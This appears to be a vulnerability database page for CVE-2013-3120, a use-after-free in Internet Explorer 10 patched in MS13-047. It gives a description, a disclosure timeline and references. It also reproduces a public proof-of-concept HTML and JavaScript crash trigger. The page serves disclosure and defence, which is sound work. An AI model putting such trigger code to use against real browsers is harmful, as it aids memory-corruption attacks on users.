CVE-2013-3120
Description
Microsoft Internet Explorer 10 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2013-3118 and CVE-2013-3125.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Internet Explorer 10 - MSHTML 'CEditAdorner::Detach' Use-After-Free (MS13-047)
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Source: http://blog.skylined.nl/20161125001.html
Synopsis
A specially crafted web-page can cause Microsoft Internet Explorer 10 to continue to use an object after freeing the memory used to store the object. An attacker might be able to exploit this issue to execute arbitrary code.
Known affected software and attack vectors
Microsoft Internet Explorer 10
An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
Repro.html:
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<!DOCTYPE html>
<html>
<head>
<script>
var oWindow = window.open("window.xhtml");
setInterval(function () {
try {
oWindow.eval("(" + function () {
document.designMode = "on";
document.execCommand("SelectAll");
var oSelection = window.getSelection();
oSelection.collapse(document,1);
document.execCommand("InsertImage", false);
document.designMode="off";
} + ")()");
} catch (e) {}
}, 1);
</script>
</head>
</html>
Window.xhtml
<!-- comment --><html xmlns="http://www.w3.org/1999/xhtml">
</html>
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Description
The last line of script (designMode = "off") will cause some cleanup in MSIE, which appears to trigger use of a stale pointer in CEditAdorner::Detach. I did not investigate further.
Time-line
November 2012: This vulnerability was found through fuzzing.
November 2012: This vulnerability was submitted to EIP.
December 2012: This vulnerability was rejected by EIP.
January 2013: This vulnerability was submitted to ZDI.
March 2013: This vulnerability was acquired by ZDI.
June 2013: This issue was addressed by Microsoft in MS13-047.
November 2016: Details of this issue are released.
-->Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| microsoft | internet_explorer | 10 | |
References
- http://blog.skylined.nl/20161125001.html
- http://www.us-cert.gov/ncas/alerts/TA13-168A
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-047
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16778
- https://www.exploit-db.com/exploits/40844/
- http://blog.skylined.nl/20161125001.html
- http://www.us-cert.gov/ncas/alerts/TA13-168A
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-047
- https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16778
- https://www.exploit-db.com/exploits/40844/
CWEs
CWE-119
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.